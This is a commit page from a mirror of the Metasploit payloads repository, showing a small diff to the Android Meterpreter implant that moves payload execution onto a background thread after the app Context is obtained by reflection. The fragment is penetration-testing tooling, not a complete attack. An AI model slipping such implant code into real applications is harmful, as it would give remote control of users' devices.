mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
Land #28, @timwr switch back to background thread after finding Context
This commit is contained in:
commit
fdebac9f9d
@ -49,6 +49,19 @@ public class AndroidMeterpreter extends Meterpreter {
|
||||
private static String writeableDir;
|
||||
private static Context context;
|
||||
|
||||
private void startExecutingOnThread() {
|
||||
new Thread() {
|
||||
@Override
|
||||
public void run() {
|
||||
try {
|
||||
startExecuting();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}.start();
|
||||
}
|
||||
|
||||
private void findContext() throws Exception {
|
||||
final Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
|
||||
final Method currentApplication = activityThreadClass.getMethod("currentApplication");
|
||||
@ -63,11 +76,7 @@ public class AndroidMeterpreter extends Meterpreter {
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
try {
|
||||
startExecuting();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
startExecutingOnThread();
|
||||
}
|
||||
});
|
||||
} else {
|
||||
|
Loading…
Reference in New Issue
Block a user